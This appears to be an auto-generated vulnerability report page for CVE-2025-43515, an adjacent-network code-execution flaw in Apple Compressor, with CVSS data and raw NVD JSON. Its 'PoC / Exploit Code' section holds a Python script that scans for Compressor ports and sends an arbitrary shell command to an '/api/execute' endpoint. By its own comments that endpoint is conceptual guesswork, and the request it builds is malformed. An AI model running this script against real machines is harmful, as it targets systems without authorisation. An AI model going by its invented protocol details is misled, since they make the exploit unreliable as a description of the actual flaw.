Security Vulnerability Report
中文
CVE-2025-43515 CVSS 8.8 HIGH

CVE-2025-43515

Published: 2025-11-13 19:15:48
Last Modified: 2025-11-17 19:21:45

Description

The issue was addressed by refusing external connections by default. This issue is fixed in Compressor 4.11.1. An unauthenticated user on the same network as a Compressor server may be able to execute arbitrary code.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apple:compressor:*:*:*:*:*:*:*:* - VULNERABLE
Apple Compressor < 4.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43515 Apple Compressor RCE PoC # Target: Apple Compressor with default server configuration # Attack Vector: Adjacent Network (same LAN/WiFi) # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def discover_compressor_server(target_ip, timeout=5): """Discover Compressor server on the network""" # Compressor uses Bonjour/mDNS for service discovery # Standard ports: 8080, 8443 for HTTP/HTTPS common_ports = [8080, 8443, 60799] for port in common_ports: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((target_ip, port)) if result == 0: print(f"[+] Compressor server found at {target_ip}:{port}") sock.close() return port sock.close() except: continue return None def exploit_compressor_rce(target_ip, port, command): """Execute arbitrary command on Compressor server""" # Construct malicious request to trigger code execution # The exact request format depends on Compressor protocol analysis payload = f""" POST /api/execute HTTP/1.1 Host: {target_ip}:{port} Content-Type: application/json Content-Length: {len(command)} {command} """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) sock.send(payload.encode()) response = sock.recv(4096) print(f"[*] Response: {response}") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-43515.py <target_ip> <command>") print("Example: python cve-2025-43515.py 192.168.1.100 'whoami'") sys.exit(1) target_ip = sys.argv[1] command = sys.argv[2] print(f"[*] Scanning {target_ip} for Compressor server...") port = discover_compressor_server(target_ip) if port: print(f"[*] Exploiting CVE-2025-43515...") exploit_compressor_rce(target_ip, port, command) else: print("[-] No Compressor server found") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43515", "sourceIdentifier": "[email protected]", "published": "2025-11-13T19:15:47.907", "lastModified": "2025-11-17T19:21:44.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed by refusing external connections by default. This issue is fixed in Compressor 4.11.1. An unauthenticated user on the same network as a Compressor server may be able to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:compressor:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.11.1", "matchCriteriaId": "E461A3F3-EEAD-45A4-B3CC-953C668278D8"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125693", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2025/Nov/17", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}